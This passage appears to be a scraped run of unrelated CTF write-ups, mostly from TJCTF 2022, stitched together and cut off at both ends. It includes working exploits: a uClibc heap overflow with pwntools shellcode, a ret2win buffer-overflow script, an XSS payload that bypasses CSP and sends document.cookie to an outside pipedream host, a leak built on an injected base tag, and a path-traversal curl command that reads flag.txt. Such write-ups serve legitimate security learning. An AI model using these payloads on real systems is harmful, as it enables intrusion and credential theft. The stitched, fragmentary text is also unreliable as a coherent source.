chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk, if allocated | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of chunk, in bytes |P| mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | User data starts here... . . . . (malloc_usable_space() bytes) . . |nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of chunk | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+```
So the theory here is that we can overwrite the size of the next chunk, which is unallocated, to be very very big.`glibc`'s malloc has checks to prevent this, so we'll need to see if those checks are present here.
So I started to read the [uClibc `malloc` source code](https://git.uclibc.org/uClibc/tree/libc/stdlib/malloc-standard/malloc.c#n803), and the nice thing is that since there's no frees in the program we can ignore everything related to `free`ing.
The relevant code is:
```C victim = av->top; size = chunksize(victim);
if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) { remainder_size = size - nb; remainder = chunk_at_offset(victim, nb); av->top = remainder; set_head(victim, nb | PREV_INUSE); set_head(remainder, remainder_size | PREV_INUSE);
check_malloced_chunk(victim, nb); retval = chunk2mem(victim); goto DONE; }```
Turns out there's nothing that checks or accounts for size being so large that it overflows!
### Exploitation Plan
So a plan starts to form
1. Use vulnerability to overwrite the size of the chuck after our `malloc`ed chunk to `0xffffffff`.2. Allocate a huge chunk, say of size `X`, which will be allocated at `&huge_chunk`. Note that we won't be able to control the content of this chunk (but that's fine, it would take a long time to send all that data), and it will still be pointing into the heap.3. Allocate another small chunk (small enough that we can control the content). The address of this chunk will essentially be `X`+`&huge_chunk` (there's some additional size b/c of alignment and heap chunk metadata, but we'll figure that out through experimentation later).4. Write to this small chunk.
We should be able to create a `write-what-where` primitive!
So what to write where to get the flag?
Normally we'd start to think about ROP, overwriting `GOT` entries, overwriting `_malloc_free` hook, etc.
But, these are all complicated (and we're using a non-standard libc), so let's keep it simple.
There's no PIE and the stack is executable---let's use old-school shellcode!
Now the goal is overwrite the saved `pc` on the stack to redirect control flow to our shellcode.
So we want the third allocation to return a pointer to saved `pc` on the stack (which we know because of the stack leak), then when we provide our input we give `&saved_pc + 4` then our shellcode.We send a `2` to trigger a return and boom, we should get the flag.
### Exploitation Stumbling Blocks
Exploitation plans hitting reality is where things get messy, and this challenge was no different.
The key to overcoming these is (always) through debugging.
So at that point I moved over to debugging on the docker container rather than the local instance (because of differences in layout, although the exploit does not rely on those).
To do that, I changed the `sh` script to include `arm-qemu` debugging options, and changed the docker container to map the debugging port.Then I could use two terminals to: (1) run the exploit and (2) debug the challenge during exploitation.
One big stumbling block I faced is that I couldn't get the precise `&saved_pc` to be returned from the third allocation. I assume that this is because of alignment issues, so what I did instead was return `&saved_pc-4` then write out `0` first as part of my exploit payload.
Another big stumbling block (that was very frustrating because it happened right at the end when I properly overwrote the saved `pc`) was a segmentation fault when my shellcode was executed.
I used the following shellcode from pwntools:
```pythonshellcode_src = pwn.shellcraft.arm.linux.cat("/tmp/flag.txt")```
Luckily, through debugging I found that the exact error was a bus error, and my experience with this told me that it was due to stack misalignment. So I did the simplest thing possible and just incremented the stack pointer by 4 bytes first, which should fix the alignment issue:
```pythonalign_stack = "add sp, #4\n"shellcode_src = pwn.shellcraft.arm.linux.cat("/tmp/flag.txt")shellcode = pwn.asm(align_stack+shellcode_src)```
And this worked, and I got the flag!
Also it turned out that I got first blood on this challenge (and there were no other solves during the CTF).
[x.py](./armutism/src/build/x.py) has the full exploit script.
Overall, this was a very fun challenge because it was in an architecture that I didn't know well (ARM), a different type of heap (uClibc), and old-school exploitation techniques. |
## Art Gallery> bosh left his image gallery service running.... quick, git all of his secrets before he deletes them!!!
Application have LFI vulnerable.Use that we can crawl `.git` folder in web root
This git folder have some error so we cannot use tool extractor to get objects from server. We have to do it mannual. The git system is construct by node and have structure like tree. The `.git/index` have current stage of modifying. And git keep track about history is just another object. The object is save in folder (objects/2bytes/38bytes) of hashes. We can use `zpipe` to read objects file.After view `index` and we see no flag. We can traverse back to get previous `index` file and see flag. (Read index by tool `gin`)Get objects through LFI, -> get log file -> get old index, get flag hash finally get flag file.Flag: `actf{lfi_me_alone_and_git_out_341n4kaf5u59v}` |
# \[Pwn\] - Favorite Color
#### Points = 187
## Prompt
I want to learn more about your favorite colors!
`nc tjc.tf 31453`
#### Hints\[None\]
## Provided Files[files](../../files/tjctf-2022/favorite_color) - link to files
- `chall.c` - source code- `chall` - compiled binary
## Write Up
- lets see what this program does - line #10 - there is a `myFavoriteColor` global variable `struct Color myFavoriteColor = {.friendlyName = "purple", .r = 0x32, .g = 0x54, .b = 0x34};` - line #19 - the program prompts the user for RGB values of their color - line #22 - the user's RGB values must be different from `myFavoriteColor` - line #28 - the program prompts the user for their color's name and places the input in struct `c` - lines #31 → #33 - the program sets struct `c`'s values based on the user input from before - line #39 - if the colors in struct `c` match `myFavoriteColor`, we get the flag #### Strategy
- for the first input on line #19 we can pass any numbers for RGB that do not match `myFavoriteColor`- After that the values will pass the check on line #22- with the input on line #28 we can overflow the RGB values and set them to match `myFavoriteColor`- our program will now set struct `c`'s colors with the same colors in `myFavoriteColor`- we pass the check on line #39 and get the flag
#### What the stack looks like
- local variables are pushed on the stack in the order in which they are declared- this is a 64-bit system so the stack must be 8-byte aligned. - before struct `c` can be pushed on the stack, 5 bytes of padding are added since each of `r`, `g`, and `b` are 1-byte characters.- values needed: - `b = 0x34` = ascii '4' - `g = 0x54` = ascii 'T' - `r = 0x32` = ascii '2'
#### Designing a Payload- we need 32 chars to fill `c.friendlyName`- then we need 5 chars to fill the padding area - using different chars for this part for clarity- then we overwrite the local variables in backwards order `4T2`- payload:
- we can pass this payload over `nc` and get the flag
## Flag
tjctf{i_l1k3_gr3y_a_l0t_f49ad3} |
# Challenge: Golf (Programming)---
### Solution Codes
```c# Chars: 46main(){for(int i=0;i<4;i++)puts("* * * * *");}
# Chars: 40main(i){for(;i<5;i++)puts("* * * * *");}
# Chars: 39main(i){for(;++i<6;)puts("* * * * *");}```
#### Calculate number of characters of file
```bash$ cat <filename>.c | sed -z '$ s/\n$//' | wc -c```
#### Compile the program
```bash$ gcc <filename>.c -o <output_filename>
# Result for Chars: 46test.c:1:1: warning: return type defaults to ‘int’ [-Wimplicit-int] 1 | main(){for(int i=0;i<4;i++)puts("* * * * *");} | ^~~~test.c: In function ‘main’:test.c:1:28: warning: implicit declaration of function ‘puts’ [-Wimplicit-function-declaration] 1 | main(){for(int i=0;i<4;i++)puts("* * * * *");} | ^~~~test.c:1:1: note: include ‘<stdio.h>’ or provide a declaration of ‘puts’ +++ |+#include <stdio.h> 1 | main(){for(int i=0;i<4;i++)puts("* * * * *");}```
#### Run the program
```bash$ ./<output_filename>* * * * ** * * * ** * * * ** * * * *``` |
Can read it better here: [https://gist.github.com/SalScotto/305e809beb45f74180f22463b3a82b3a](https://gist.github.com/SalScotto/305e809beb45f74180f22463b3a82b3a)
> Vinegar Factory> Crypto> Clam managed to get parole for his dumb cryptography jokes, but after making yet another dumb joke on his way out of the courtroom, he was sent straight back in. This time, he was sentenced to 5 years of making dumb Vigenere challenges. Clam, fed up with the monotony of challenge writing, made a program to do it for him. Can you solve enough challenges to get the flag?> > Connect to the challenge at nc challs.actf.co 31333. Source
We have a crypto challenge based on the [Vigenère cipher](https://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher): the string is encrypted by using another string as key and for each character, it applies the Caesar cipher using as shift the position of the giver characher in the used alphabet (eg. if the alphabet is made of the regular ascii letters lowercase, the key `crypto` coincides with applying the Caesar cipher with shift `2-17-24-15-19-14`)
By connecting to the server, it sends (49 times) a string made of random noise, followed by a fake flag, the `fleg` word and other random noise.Before sending it though, it will be encrypted using a random 4 charactes string using the Vigenère cipher.
Our objective is to find for each message the key used to encrypt the message, decrypt the fake flag and sending it back.
Since the key is made by 4 characters and we know that every flag begins and ends with the same 4 charactes, we can get the key by reversing the algorithm and with the now found key, decrypt the message and send the cleartext back.
Also, since we have to identity the where the flag is inside the noise, we can use a regular expression to find a string that **CAN** be a flag:thanks to the random nature, there can be multiple fake flags, we must find the one that with the same key, correclty decrypts the beginning and the end of the flag with `actf` and `fleg`
With this script, we can find (given a possible flag) the key that can decrypt the prefix into `actf`
```pythonalpha = string.ascii_lowercaseoff = len(alpha)def getKey(actf_crypt): key = "" clear = "actf" for (r,c) in zip(actf_crypt, clear): #Get the position of the i-th letter for both cleartext and cypthertext idxCrypt = alpha.index(r) idxClear = alpha.index(c) #Get the position of the key by subtracting those values (modulo 26 - the length of the alpha array) idxKey = off + idxCrypt - idxClear idxKey = idxKey % off key += alpha[idxKey] return key```
By applying this function for each substring found by the regex, we can find which one is the real one by decrypting it with the newfound key and verifying if the postfix is actually `fleg`
```pythonfor opt in re.findall(rgx,vig): test_key = getKey(opt[:4]) off2 = len(opt)-4 decr = decrypt(opt, test_key) checkpoint = decr[off2:] if(checkpoint == "fleg"): ith_fleg = decr[:off2]if ith_fleg != "": sh.sendline(ith_fleg.encode())```
The only thing left is the regex to identify the flag: since we don't know the format of the **real** flag, but only of the fake ones, we need to distinguish the cases:
```python#Fake flag regexrgx = "[a-z]{4}\{[a-z_]{10,50}\}[a-z]{4}"if i == 50: #Relaxed regex to catch all the cases rgx = "[a-z]{4}\{[0-9A-Za-z_]{5,100}\}[a-z]{4}"```
Here you can see the whole exploit:```pythonfrom pwn import *import re
i = 1
alpha = string.ascii_lowercaseoff = len(alpha)
#Get the key that can decrypt the prefixdef getKey(actf_crypt): key = "" clear = "actf" for (r,c) in zip(actf_crypt, clear): idxCrypt = alpha.index(r) idxClear = alpha.index(c) idxKey = off + idxCrypt - idxClear idxKey = idxKey % off key += alpha[idxKey] return key
def decrypt(message, key): ret = "" i = 0 for c in message: if c in alpha: ret += alpha[(off+alpha.index(c) - alpha.index(key[i])) % len(alpha)] i = (i + 1) % len(key) else: ret += c return ret
# sh = process(['python3','main.py'])sh = remote('challs.actf.co', 31333)intro = sh.recvline()print(f"[i] Recv:{intro}")while( i < 51): #Receive the encrypted line fleg = sh.recvline() vig = fleg.decode() print(f"[i] Noise: {fleg[:120]}...") vig = vig.split(": ")[1] vig = vig.strip("\n")
ith_fleg = ""
rgx = "[a-z]{4}\{[a-z_]{10,50}\}[a-z]{4}" if i == 50: rgx = "[a-z]{4}\{[0-9A-Za-z_]{5,100}\}[a-z]{4}" for opt in re.findall(rgx,vig): #Get the key to decrypt the prefix test_key = getKey(opt[:4]) off2 = len(opt)-4 #Decrypt the whole possible flag with the given key decr = decrypt(opt, test_key) checkpoint = decr[off2:] #If the postfix is correct if(checkpoint == "fleg"): ith_fleg = decr[:off2] print(f">>\t {opt} - {test_key} ---> {decr} and ends with {decr[off2:]}==fleg") break print("") i += 1 if ith_fleg != "": sh.sendline(ith_fleg.encode()) else: print("Can't solve "+vig+"!!!")``` |
# fleecebook:web:378ptsI made a place to post all you want about fleece! I guess you could say, it's kinda meta... [fleecebook.tjc.tf](https://fleecebook.tjc.tf/) [Admin Bot](https://admin-bot.tjctf.org/fleecebook)
Downloads [admin-bot.js](admin-bot.js) [server.zip](server.zip)
# SolutionXSS問題セットとソースが渡される。 アクセスすると謎のfleece推しサイトが出てきた(マウスポインタもfleeceである…)。 fleecebook [site.png](site/site.png) `/post`にてタイトルとコンテンツが投稿できるがサニタイズされている。 ここでソースを見ると以下のようであった。 ```[email protected](404)def not_found(e): return 'your fleece page (' + request.path + ') could not be found :notlikefleececry:'~~~```404エラーページではサニタイズが見られない。 ```bash$ curl "https://fleecebook.tjc.tf/%3Cs%3E"your fleece page (/) could not be found :notlikefleececry:```タグの挿入に成功するが、CSPにて`script-src 'self'`とされているためインラインscriptタグでのXSSなどはできないようだ。 同一オリジンにjsなどをアップロードしてXSSを行う方針をとる。 ここで、`/post`にて任意のタイトルとコンテンツを投稿できることを思い出す。 これをjsとして読み込めばよい。 通常のテキストを投稿したものは以下のような形式であった。 ```
title - 2022-05-15 02:45:44 content `````などが邪魔だがコメントアウトすればよい。 リクエストは[RequestBin.com](https://requestbin.com/)で受け取る。 サニタイズされるため、シングルクォートやダブルクォートなどは利用できない。 titleを ```location.href=`https://xxxxxxxxxxxxx.x.pipedream.net?s=`+document.cookie; /*```contentを ```*/```とし、投稿を行う。 これにより、リダイレクトを行いcookieを取得するjsが設置できた。 生成したURLは`https://fleecebook.tjc.tf/post/b7515134-68ff-48ab-986d-d8684602c571`である。 ```bash$ curl https://fleecebook.tjc.tf/post/b7515134-68ff-48ab-986d-d8684602c571
location.href=`https://endetltc6t33d.x.pipedream.net?s=`+document.cookie; /* - 2022-05-15 02:52:55 */ ```これを404ページよりscriptのsrcとして読み込む。 最終的にXSSを行うURLは、```https://fleecebook.tjc.tf/static/"><script src='https://fleecebook.tjc.tf/post/b7515134-68ff-48ab-986d-d8684602c571'></script>```となる。 これをAdmin Botに送信する。 CSPがバイパスでき、`/?s=flag=tjctf{s3a_e5s_p3A_5a1d68d16c7e1d2a}`なるflagを含むリクエストを受信した。
## tjctf{s3a_e5s_p3A_5a1d68d16c7e1d2a} |
# dnu-merch:web:458ptsSo, since everybody got into DNU during the RD round, we can all buy merch. However, I didn't get honors so I can't buy their super secret flag. I heard that the admin of the site is actually an honors student at DNU, pls sice me. [dnu-merch.tjc.tf](https://dnu-merch.tjc.tf/) [Admin Bot](https://admin-bot.tjctf.org/dnu-merch)
Downloads [admin-bot.js](admin-bot.js) [server.zip](server.zip)
# SolutionサイトとAdmin Botとソースが渡される。 アクセスすると商品を検索できるサイトのようだ。 DNU Merch Catalog [site1.png](site/site1.png) プレースホルダーにある`Sweatshirt`を検索すると写真付きの商品がヒットした。  頭文字である`S, T`と検索すると、ヒットするものすべてが表示される。 どうやらcookieに商品一覧が入っており、それを検索しているようだ。  Admin BotがあるのでXSSを狙う。 `S, atoki`のように商品がヒットする場合にタグを挿入することに成功した。  次にCSPを見てみる。 ```html~~~ <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://* http://* 'self'; child-src 'none'; object-src 'none';">~~~```metaタグにて指定されており、imgが不自然に緩いがscriptやcssでの攻撃は狙えそうにない。 Admin Botのふるまいを見てみると以下のようであった。 ```js~~~export default { id: 'dnu-merch', name: 'dnu-merch', timeout: 154000, handler: async (url, ctx) => { const page = await ctx.newPage(); await page.setCookie({ domain: 'dnu-merch.tjc.tf', name: 'items', value: JSON.stringify([{ title: flag.trim(), cost: 100000 }]), secure: true, sameSite: 'None', }); await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' }); await sleep(150000); },};````flag`を`title`にした商品をAdmin Botのcookieに追加し、送信されたURLにアクセスするようだ。 つまり、Admin Botにのみ存在する商品名をリークする必要がある。 ひとまず`Sweatshirt`を`flag`とみたてて商品表示部分を見てみる。 ```html~~~<div class="result-card"> <div class="img-bg"> </div> <h3 class="result-card-title">Sweatshirt</h3> <h5 class="result-card-cost">$30</h5></div>~~~```titleにある商品名を取得するのは難しい。 ここで、imgが相対パスで記述されていることに気づく。 CSPに指定のなかったbaseをタグとして挿入すれば、任意のサイトのimgを表示させることができる。 挿入するタグは`<base href="https://satoki.example.com/">`のようになる。 すると画像のフルパスは`https://satoki.example.com/public/merch/dnu_sweater.png`となる。 画像を外部から取得できることは一見すると何も意味がないと感じるが、ここで検索で商品がヒットしない場合には画像が表示されないことを思い出す。 つまり、画像へのリクエストが来るかどうかで検索でヒットしたかどうかを外部から知ることができる。 そして検索は頭文字など部分一致でもヒットしていた。 これらを用いてAdmin Bot上から一文字ずつ商品名をリークできる。 商品名がflagになっているはずなので`tjctf{X, <base href="https://xxxxxxxxxxxxx.x.pipedream.net/">`の`X`を変更してAdmin Botに投げる。 画像へのリクエストが来た場合、検索にヒットしているものがあるため、文字が確定する。 ここではリクエストの取得に[RequestBin.com](https://requestbin.com/)を用いた。 手動で一文字ずつ行うのはつらいので、以下のleak.pyで文字を大雑把に予測し、その中から手動で見つけ出す手法をとる。 ```pythonflag = "tjctf{"recv_url = "https://xxxxxxxxxxxxx.x.pipedream.net"guess_list = ["abcdefg","hijklmn","opqrstu","vwxyzAB","CDEFGHI","JKLMNOP","QRSTUVW","XYZ0123","456789_"]
for i in guess_list: print(f"https://dnu-merch.tjc.tf/search?search=", end="") for j in i: print(f"{flag}{j},%20", end="") print(f"%3Cbase%20href=%22{recv_url}%2F{flag}%2F{i}%2F%22%3E")```実行する。 ```bash$ python leak.pyhttps://dnu-merch.tjc.tf/search?search=tjctf{a,%20tjctf{b,%20tjctf{c,%20tjctf{d,%20tjctf{e,%20tjctf{f,%20tjctf{g,%20%3Cbase%20href=%22https://xxxxxxxxxxxxx.x.pipedream.net%2Ftjctf{%2Fabcdefg%2F%22%3Ehttps://dnu-merch.tjc.tf/search?search=tjctf{h,%20tjctf{i,%20tjctf{j,%20tjctf{k,%20tjctf{l,%20tjctf{m,%20tjctf{n,%20%3Cbase%20href=%22https://xxxxxxxxxxxxx.x.pipedream.net%2Ftjctf{%2Fhijklmn%2F%22%3Ehttps://dnu-merch.tjc.tf/search?search=tjctf{o,%20tjctf{p,%20tjctf{q,%20tjctf{r,%20tjctf{s,%20tjctf{t,%20tjctf{u,%20%3Cbase%20href=%22https://xxxxxxxxxxxxx.x.pipedream.net%2Ftjctf{%2Fopqrstu%2F%22%3Ehttps://dnu-merch.tjc.tf/search?search=tjctf{v,%20tjctf{w,%20tjctf{x,%20tjctf{y,%20tjctf{z,%20tjctf{A,%20tjctf{B,%20%3Cbase%20href=%22https://xxxxxxxxxxxxx.x.pipedream.net%2Ftjctf{%2FvwxyzAB%2F%22%3Ehttps://dnu-merch.tjc.tf/search?search=tjctf{C,%20tjctf{D,%20tjctf{E,%20tjctf{F,%20tjctf{G,%20tjctf{H,%20tjctf{I,%20%3Cbase%20href=%22https://xxxxxxxxxxxxx.x.pipedream.net%2Ftjctf{%2FCDEFGHI%2F%22%3Ehttps://dnu-merch.tjc.tf/search?search=tjctf{J,%20tjctf{K,%20tjctf{L,%20tjctf{M,%20tjctf{N,%20tjctf{O,%20tjctf{P,%20%3Cbase%20href=%22https://xxxxxxxxxxxxx.x.pipedream.net%2Ftjctf{%2FJKLMNOP%2F%22%3Ehttps://dnu-merch.tjc.tf/search?search=tjctf{Q,%20tjctf{R,%20tjctf{S,%20tjctf{T,%20tjctf{U,%20tjctf{V,%20tjctf{W,%20%3Cbase%20href=%22https://xxxxxxxxxxxxx.x.pipedream.net%2Ftjctf{%2FQRSTUVW%2F%22%3Ehttps://dnu-merch.tjc.tf/search?search=tjctf{X,%20tjctf{Y,%20tjctf{Z,%20tjctf{0,%20tjctf{1,%20tjctf{2,%20tjctf{3,%20%3Cbase%20href=%22https://xxxxxxxxxxxxx.x.pipedream.net%2Ftjctf{%2FXYZ0123%2F%22%3Ehttps://dnu-merch.tjc.tf/search?search=tjctf{4,%20tjctf{5,%20tjctf{6,%20tjctf{7,%20tjctf{8,%20tjctf{9,%20tjctf{_,%20%3Cbase%20href=%22https://xxxxxxxxxxxxx.x.pipedream.net%2Ftjctf{%2F456789_%2F%22%3E```Admin Botにこれらを投げると、`/tjctf%7B/vwxyzAB/undefined`とリクエストが到達する。 `wxyzAB`のどれかとわかるので、一つずつ確認すればよい。 すると```https://dnu-merch.tjc.tf/search?search=tjctf{w,%20%3Cbase%20href=%22https://xxxxxxxxxxxxx.x.pipedream.net%2Ftjctf{%2Fw%2F%22%3E```にて`/tjctf%7B/w/undefined`が到達したため、一文字目は`w`であることがわかった。 これを繰り返し、すべてマッチしない場合には`}`となる。 最終的に```https://dnu-merch.tjc.tf/search?search=tjctf{wtf_not_h0nors_14452dbc,%20%3Cbase%20href=%22https://xxxxxxxxxxxxx.x.pipedream.net%2Ftjctf{wtf_not_h0nors_14452dbc%2F}%2F%22%3E```にて`/tjctf%7Bwtf_not_h0nors_14452dbc/%7D/undefined`が到達し、flagを取得することができた。
## tjctf{wtf_not_h0nors_14452dbc} |
# mmocc:web:333ptsMassively multiplayer online cookie clicker!! [mmocc.tjc.tf](https://mmocc.tjc.tf/)
Downloads [index.js](index.js)
# Solutionサイトにアクセスすると他ユーザと共用のcookieクリッカーがある。 [site.png](site/site.png) 不審な点はないため、ソースを見ると以下のようであった。 ```js~~~const flag = fs.readFileSync(path.join(__dirname, 'flag.txt')).toString().trim();~~~const state = { clicks: 0 };const routes = { clicks: async (_req, res) => { if (state.clicks === Infinity) res.json({ flag, ...state }); else res.json(state); }, click: async (_req, res) => { state.clicks++; res.end(); }, static: async (req, res) => { const regex = /\.\.\//g; const clean = (path) => { const replaced = path.replace('../', ''); if (regex.test(path)) { return clean(replaced); } return replaced; };
const location = [__dirname, 'static', clean(req.url)]; if (location[2].endsWith('/')) location.push('index.html'); const file = path.join(...location);
let data; try { data = await fs.promises.readFile(file); } catch (e) { if (e.code === 'ENOENT') { res.statusCode = 404; res.end('not found'); return; } throw e; }
const type = types.get(path.extname(file)) ?? 'text/plain'; res.setHeader('content-type', type); res.end(data); },};~~~````/static`にて`clean`といったパストラバーサル対策を行っている。 実はグローバルフラグを持った正規表現を用いてtestを呼び出すとlastIndexが加算される。 そして次回のtestはそのlastIndexからのチェックが始まるため、以下のような挙動を引き起こす。 ```bash$ node~~~> const regex = /\.\.\//g;undefined> regex.test("../../../../../satoki")true> regex.lastIndex3> regex.test("../../../../satoki")true> regex.lastIndex6> regex.test("../../../satoki")true> regex.lastIndex9> regex.test("../../satoki")false> regex.lastIndex0```つまり文字列が変動する場合、正常に検査されない部分が存在することとなる。 よって以下のように`clean`がバイパスできる。 ```bash$ node~~~> const regex = /\.\.\//g;undefined> const clean = (path) => {... const replaced = path.replace('../', '');... if (regex.test(path)) {..... return clean(replaced);..... }... return replaced;... };undefined> clean("../../../../../satoki")'../satoki'```あとはflag.txtを読み取ればよい。 以下のように行う。 ```bash$ curl --path-as-is https://mmocc.tjc.tf/static/../../../../../../flag.txttjctf{h0w_h1gh_c4n_w3_g3t}```flagが得られた。
## tjctf{h0w_h1gh_c4n_w3_g3t} |
# \[Pwn\] - Vacation 1
#### Points = 176
## Prompt
Too much school, too much work, too much writing CTF challenges... can I just go on vacation?
`nc tjc.tf 31680`
by kfb
#### Hints\[None\]
## Provided Files[files](../../files/tjctf-2022/vacation-1) - link to files
- `DockerFile`- `chall.c` - source code- `chall` - compiled binary
<div style="page-break-after: always"></div>
## Write Up
- ok let's see what this is doing.
- Breakdown: - line #16 - `main()` calls `vacation()` - line #9 - `vacation()` allocates 16 bytes on the stack for a buffer - line #11 - `fgets()` accepts 64 bytes as input. - we can overflow this buffer and overwrite stack values. - line #4 - `shell_land()` function gives us a shell which we can use to read the flag. - we need to overwrite the return address in `vacation()` to return to `shell_land()`
<div style="page-break-after: always"></div>
#### What the Stack Looks like:
- our input must fill the buffer with 16 bytes- the next 8 bytes will fill the space for the saved `rbp` register- the last 8 bytes should be filled with the address of `shell_land()`- you can find function addresses using gdb:
<div style="page-break-after: always"></div>
#### Modification
- this approach does not work because the stack is not aligned on the target machine - since this is a 64-bit machine, all stack addresses are 8 byte aligned. - libc functions like `system()` have the extra requirement that the stack is 16 byte aligned.- **New Approach** - instead we will jump to any `ret` instruction in the program and then to `shell_land()` - an extra `ret` instruction pops a value off the stack which makes it 16 byte aligned if it was not before.
###### Explanation of New Approach
- what `ret` does is pop 8 bytes off the stack into `rip`- we are going to be executing two `ret` instructions in a row - first - at the end of `vacation()` - second - the one we are jumping to- after the first `ret` executes, `rsp` will be pointing right above the address it placed in `rip`, since `ret` is just a fancy `pop` instruction.- We can jump to a `ret` instruction and then `shell_land()` by placing their addresses consecutively on the stack as shown below.- I hope I did a good job explaining this `-_(0-0)_-`
#### Solution- here is a python script which creates a payload as described above.
``` from pwn import *
# location of shell_land() - handles endianness ret_instr_addr = p64(0x4011df) shell_addr = p64(0x401196)
# 16B - buffer, 8B - saved rbp padding = b'A' * 24
# final payload # jump to a ret instr then to func (fixes alignment issue) payload = padding + ret_instr_addr + shell_addr
# make connection and deliver # elf = ELF('./chall') # tgt = elf.process() tgt = remote('tjc.tf', 31680) line = tgt.recvline()
tgt.sendline(payload) tgt.interactive() ```
- this gives you a shell where you can `cat` the flag
 ## Flag
tjctf{wh4t_a_n1c3_plac3_ind33d!_7609d40aeba4844c} |
# \[Misc\] - Cheapest Cookies 2
#### Points = 263
## Prompt
Now that Andrew knows which Costco has the cheapest cookies, he has to get there - as quickly as possible! He has given you 40 roads with the two endpoint locations and the distance of the road, and he starts at location 0 and the Costco is at location 20. All roads are 2-way roads, meaning you can go from x to y and from y to x. Please output the minimum distance needed to reach the Costco, and if there is no possible path, print -1. You will need to pass fifty tests to get the flag. And don't forget to be fast!
Sample Input:
```0 20 184 8 20 4 84 20 6```
Sample Output:
```14```
`nc tjc.tf 31111`
by andy
#### Hints\[None\]
## Provided Files
\[None\]
## Write Up
- We are given a set of edges and are asked to find the shortest path between nodes #0 and #20, if it exists.- This is a single source, shortest-path problem with positive, undirected edges. - perfect case for Dijkstra's algorithm.- I have implemented this before in Java and C++ but I'll do it again in python just for the excercise.- I'll be using `pwntools` because it provides an easy way to make connections- the code is commented for clarity
```from pwn import *
# dijkstradef calculate_path(edges): # each node has [distance, prev_node, visited] # for node 0 distance = [[0, 0, True]]
# initialize 20 other nodes for i in range(20): distance.append([1000, -1, False])
# source node src = 0
# priority queue for the closest node closest = []
while len(edges) != 0: # loop through all edges for each node i = 0 while i != len(edges): # parse the edge data edge = edges[i].split(' ') first = int(edge[0]) second = int(edge[1]) weight = int(edge[2])
other = -1
# if the current edge has an end touching the src node if first == src: other = second
elif second == src: other = first
else: # nothing to be done - move to next edge i += 1 continue
# process the edge # remove from the list to avoid reading it twice edges.pop(i) # skip the node if visited - shortest path already found if distance[other][2] == True: continue
# update the shortest path if distance[other][0] > (distance[src][0] + weight): distance[other][0] = distance[src][0] + weight distance[other][1] = src
# add to the queue if not closest: closest.append([distance[other][0], other]) else: j = 0 while j != len(closest): if distance[other][0] < closest[j][0]: break else: j += 1 closest.insert(j, [distance[other][0], other])
# no more reachable nodes if not closest: break
# pop the closest node to node #0 next_src = closest.pop(0) src = next_src[1]
# shortest path to 20 is found - no need to keep going if src == 20: return distance[20][0] break
# mark node as visited distance[src][2] = True
if distance[20][0] == 1000: # node 20 is unreachable return -1 else: return distance[20][0]
# make connectiontgt = remote('tjc.tf', 31111)
# initial prompt is different from subsequent promptsrecieved = tgt.recvuntil(b'answer: ')recieved = recieved.decode('ascii').split('\n')
# solve caselines = recieved[10:-2]ret = str(calculate_path(lines))tgt.sendline(bytes(ret, 'ascii'))
# print resultrecieved = tgt.recvline(b': ')recieved = recieved.decode('ascii')print(recieved)
# handle all caseswhile True: # recieve prompt recieved = tgt.recvuntil(b': ') recieved = recieved.decode('ascii').split('\n')
# caclulate and send answer lines = recieved[1:-2] ret = str(calculate_path(lines)) tgt.sendline(bytes(ret, 'ascii'))
# recieve and print result recieved = tgt.recvline().decode('ascii') print(recieved)
if recieved == 'Test 50 passed!\n': # recv until the end of the flag lines = tgt.recvuntil(b'}') lines = lines.decode('ascii').split('\n') for line in lines: print(line) break
```
## Flag
tjctf{w00_w3_have_th3_c00k1es_n0w} |
# jokster:web:441ptsI love jokes. So much, even, that I could no longer think of my own. Because of that, I made this so I could yours!!! [jokster.tjc.tf](https://jokster.tjc.tf/) [Admin Bot](https://admin-bot.tjctf.org/jokster)
Downloads [admin-bot.js](admin-bot.js) [server.zip](server.zip)
# Solutionサイト、Admin Bot、ソースが渡される。 アクセスすると、ジョークを投稿するサイトのようだ。 jokster [site.png](site/site.png) 登録し、ログインするとプロフィールページ(https://jokster.tjc.tf/profile/jcyrvkir)が作られた。 Profile [profile.png](site/profile.png) `Edit Profile`ではUsername、Password、画像が変更できる。 Admin Botがあるため、XSSを狙ってタグを含むジョークを送信する。 `</title>atoki`で無事にsタグを挿入できた(Joke部分のみのようだ)。  ここでCSPをチェックすると以下のようであった。 ```script-src 'none';img-src * data:;style-src 'self' fonts.googleapis.com;default-src 'self';base-uri 'self';block-all-mixed-content;font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';object-src 'none';script-src-attr 'none';upgrade-insecure-requests```scriptは実行できないようだ。 通常のcookie取得でないことが分かったため、flagの場所とAdmin Botの挙動を確認する。 flagはindex.jsの中より、`admin`の`punchline`にあるようだ。 Admin Botは以下のようにログインを行い、その後に送信された同一オリジンのサイトをクロールする。 ```js~~~ await page.goto('https://jokster.tjc.tf/login', { waitUntil: 'domcontentloaded' });
await sleep(1000);
const usernameInput = await page.$('#username'); await usernameInput.type('admin');
const passwordInput = await page.$('#password'); await passwordInput.type(adminPassword.trim());
const submitButton = await page.$('input[type="submit"]'); await submitButton.click();
await sleep(500);
